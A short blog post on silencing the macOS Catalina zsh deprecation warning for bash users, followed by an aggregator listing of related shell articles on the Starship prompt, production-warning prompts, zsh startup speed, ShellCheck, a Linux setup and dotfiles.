Yesterday I updated my work laptop to MacOS Catalina.To be able to use AirPods Pro with it :/ Apple made a change and switched the default shell to zsh (instead of bash). From what I have read, the reason is a licensing issue. Bash is not gone and everything will work like it used to. But every time you open a terminal, you will be greeted by this message: If you are like me, and not ready to make the switch to zsh, you can silence this warning by putting this into your .bash_profile (or .bashrc). export BASH_SILENCE_DEPRECATION_WARNING=1 Why I don't want to switch? # Everything in my workflow is heavily customized and I'm really used to it. For example, I'm using bash-it with a custom theme for years now. It is heavily inspired by Oh My Zsh, similar zsh framework. Still, it will take me some time to migrate everything. I will eventually switch to zsh, but at the moment it is not high on my list of priorities.

## Improving Your Terminal Prompt with a Starship

DevFeed: [Improving Your Terminal Prompt with a Starship](<https://devfeed.tech/articles/improving-your-terminal-prompt-with-a-starship-28351.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/terminal/2019/10/26/improving-your-terminal-prompt-with-a-starship.html>)

Author: Fuzzygroup

Published: 2019-10-26T00:00:00Z

Content type: tutorial

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Terminal](<https://devfeed.tech/topics/terminal.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [cross-platform](<https://devfeed.tech/topics/cross-platform.md>), [Homebrew](<https://devfeed.tech/topics/homebrew.md>), [Rust](<https://devfeed.tech/topics/rust.md>), [Git](<https://devfeed.tech/topics/git.md>), [Amazon EC2](<https://devfeed.tech/topics/amazon-ec2.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [cross-platform](<https://devfeed.tech/tags/cross-platform.md>), [git](<https://devfeed.tech/tags/git.md>), [homebrew](<https://devfeed.tech/tags/homebrew.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [osx](<https://devfeed.tech/tags/osx.md>), [prompt](<https://devfeed.tech/tags/prompt.md>), [rust](<https://devfeed.tech/tags/rust.md>), [starship](<https://devfeed.tech/tags/starship.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

This tutorial explains how to improve a terminal prompt with Starship, a Rust-powered cross-shell prompt. It provides Homebrew installation and Zsh initialization commands for macOS, and describes information the prompt can show, including the current directory, Git status, Ruby version, and AWS region.

### Source excerpt

Photo courtesy of my boss and friend, Dave Sifry who is in London right now attending MozFest; lucky guy! I have a lot of computer skills. I can program in multiple languages, I can remember how to use Norton Utilities for DOS, I can remember how to use Sun OS, I can tell you about not HTML, not XML, not SGML but GML (which begat SGML which in turn begat HTML which in turn begat XML), etc. One of those computer skills that I don't have is *nix shell scripting - I suck at Bash; I suck at Zshell, etc. And *nix shell scripting is how you customize your Terminal prompt. Now I know this sounds like Nerd minutiae (and it is) but your Terminal prompt is this rich land of information (or it can be; normally mine isn't). About 6 months ago, Sean Kennedy, my pairing partner in crime, got me to change over to Zshell from Bash and, in doing so, update my prompt. My prompt now looks like this: And that's damn good. I mean it tells me the git repo and everything. That's awesome. But, and this is a big but - if you have to customize it with bash, we can do better. The easy way to do better is to use Starship aka "The cross-shell prompt for astronauts". This is a Rust powered prompt that is designed for: ease of use cross platform compatibilty customization Here's how to get going with it on OSX: Install it with HomeBrew: brew install starship Add the following to the END of ~/.zshrc: eval "$(starship init zsh)" Source it with: source ~/.zshrc One of the reasons the prompt is so damn important isn't your local box but when you're logged into remote boxes such as AWS EC2 instances. I cannot say just how much I wish this had existed when I was maintaining a large cluster of EC2 instances that I used to log into daily. Sigh. Here's how my prompt looks out of the box: I haven't delved too deeply into customization but the fact that I can use emojis to display my terminal state including shrug for untracked fills me a deep and unending joy: Now if you're not a hard core developer nerd,

## Configuring Shell Prompts to Warn About Privileged and Production Environments

DevFeed: [Configuring Shell Prompts to Warn About Privileged and Production Environments](<https://devfeed.tech/articles/loud-subshells-29166.md>)

Original publisher: [Read original article](<https://www.latacora.com/blog/2018/06/21/loud-subshells/>)

Published: 2018-06-21T16:21:00Z

Content type: tutorial

Language: en

Sources: [Latacora](<https://devfeed.tech/sources/latacora.md>)

Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [systems](<https://devfeed.tech/topics/systems.md>), [POSIX](<https://devfeed.tech/topics/posix.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>)

Tags: [aws](<https://devfeed.tech/tags/aws.md>), [bash](<https://devfeed.tech/tags/bash.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [posix](<https://devfeed.tech/tags/posix.md>), [shell](<https://devfeed.tech/tags/shell.md>), [ssh](<https://devfeed.tech/tags/ssh.md>), [systems](<https://devfeed.tech/tags/systems.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [variable](<https://devfeed.tech/tags/variable.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

This article explains how to make shell prompts more noticeable when users have elevated privileges or access to sensitive environments. It discusses shell differences, prompt configuration, and approaches such as rc-less shells, dedicated environment variables, and sourced scripts.

### Source excerpt

Default shells usually end in $. Unless you're root and it's #. That tradition has been around forever: people recognized the need to highlight you're not just some random shmoe. These days we have lots of snazzy shell magic. You might still su, but you're more likely to sudo. We still temporarily assume extra privileges. If you have access to more than one set of systems, like production and staging, you probably have ways of putting on a particular hat. Some combination of setting an environment variable, adding a key to ssh-agent, or assuming an AWS role with aws-vault. You know, so you don't accidentally blow away prod.

## Speeding up my ZSH load time

DevFeed: [Speeding up my ZSH load time](<https://devfeed.tech/articles/speeding-up-my-zsh-load-time-37845.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/speeding-up-zsh/>)

Author: Carlos Alexandro Becker

Published: 2016-04-10T00:00:00Z

Content type: opinion

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [dotfiles](<https://devfeed.tech/topics/dotfiles.md>), [execution](<https://devfeed.tech/topics/execution.md>), [prompt](<https://devfeed.tech/topics/prompt.md>)

Tags: [osx](<https://devfeed.tech/tags/osx.md>), [pull-requests](<https://devfeed.tech/tags/pull-requests.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The author describes optimizing Zsh startup time after migrating dotfiles. By profiling shell loading, lazy-loading components, removing redundant checks and code, and adjusting file-checking logic, the reported startup time improved from almost 10 seconds initially to about 2 seconds with antibody, and later from about 0.7 seconds to about 0.4 seconds. The author keeps completion and the existing prompt enabled despite identifying them as further optimization options.

### Source excerpt

This is the story on how I sped up my terminal load time.

## Lint your shell scripts

DevFeed: [Lint your shell scripts](<https://devfeed.tech/articles/lint-your-shell-scripts-37802.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/lint-shell-scripts/>)

Author: Carlos Alexandro Becker

Published: 2014-12-15T00:00:00Z

Content type: tutorial

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Bash](<https://devfeed.tech/topics/bash.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Continuous integration](<https://devfeed.tech/topics/continuous-integration.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [continuous-integration](<https://devfeed.tech/tags/continuous-integration.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The article discusses improving shell-script quality with ShellCheck, a Haskell executable that lints Bash, Zsh, and other shell scripts. It explains how to integrate ShellCheck into continuous integration with the shell-travis-build project and Travis CI, including use as a Git submodule.

### Source excerpt

I will start this by quoting the bashstyle's readme:

## Developing on Linux

DevFeed: [Developing on Linux](<https://devfeed.tech/articles/developing-on-linux-35610.md>)

Original publisher: [Read original article](<https://zolmeister.com/2014/09/developing-on-linux.html>)

Author: Zoli Kahan

Published: 2014-09-13T05:00:00Z

Content type: opinion

Language: en

Sources: [Zolmeister](<https://devfeed.tech/sources/zolmeister.md>)

Topics: [Linux](<https://devfeed.tech/topics/linux.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [Development](<https://devfeed.tech/topics/development.md>), [dotfiles](<https://devfeed.tech/topics/dotfiles.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Atom](<https://devfeed.tech/topics/atom.md>), [Hardware](<https://devfeed.tech/topics/hardware.md>), [keyboard](<https://devfeed.tech/topics/keyboard.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Nvidia](<https://devfeed.tech/topics/nvidia.md>), [GPU](<https://devfeed.tech/topics/gpu.md>)

Tags: [4k](<https://devfeed.tech/tags/4k.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [editor](<https://devfeed.tech/tags/editor.md>), [git](<https://devfeed.tech/tags/git.md>), [gpu](<https://devfeed.tech/tags/gpu.md>), [hardware](<https://devfeed.tech/tags/hardware.md>), [keyboard](<https://devfeed.tech/tags/keyboard.md>), [keyboard-shortcuts](<https://devfeed.tech/tags/keyboard-shortcuts.md>), [linux](<https://devfeed.tech/tags/linux.md>), [nvidia](<https://devfeed.tech/tags/nvidia.md>), [oh-my-zsh](<https://devfeed.tech/tags/oh-my-zsh.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A personal account of a Linux development setup covering the i3 tiling window manager, ZSH with oh-my-zsh and Powerline, Atom as an open-source editor, and desktop hardware requirements.

### Source excerpt

Developing on Linux dotfiles i3 - Tiling Window Manager A tiling window manager is a type of window manager that arranges your windows as tiles, usually in such a way that makes managing them more efficient via keyboard shortcuts. i3 is my window manager of choice, after having used xmonad for a long time, i3 provides more flexibility and ease of configuration. Here is a great sceencast which will help you understand the power of tiling window managers.

## Dotfiles Are Meant to Be Forked

DevFeed: [Dotfiles Are Meant to Be Forked](<https://devfeed.tech/articles/dotfiles-are-meant-to-be-forked-37703.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/dotfiles-are-meant-to-be-forked/>)

Author: Carlos Alexandro Becker

Published: 2012-11-23T00:00:00Z

Content type: tutorial

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [dotfiles](<https://devfeed.tech/topics/dotfiles.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [Scripting](<https://devfeed.tech/topics/scripting.md>), [Bash](<https://devfeed.tech/topics/bash.md>)

Tags: [automation](<https://devfeed.tech/tags/automation.md>), [bash](<https://devfeed.tech/tags/bash.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [scripting](<https://devfeed.tech/tags/scripting.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The author describes reorganizing personal Bash and Zsh dotfiles after finding an overly large, machine-specific configuration difficult to share. The resulting dotfiles are adapted from existing projects, intended to work on Linux and macOS, and include straightforward installation and contribution guidance.

### Source excerpt

My desktop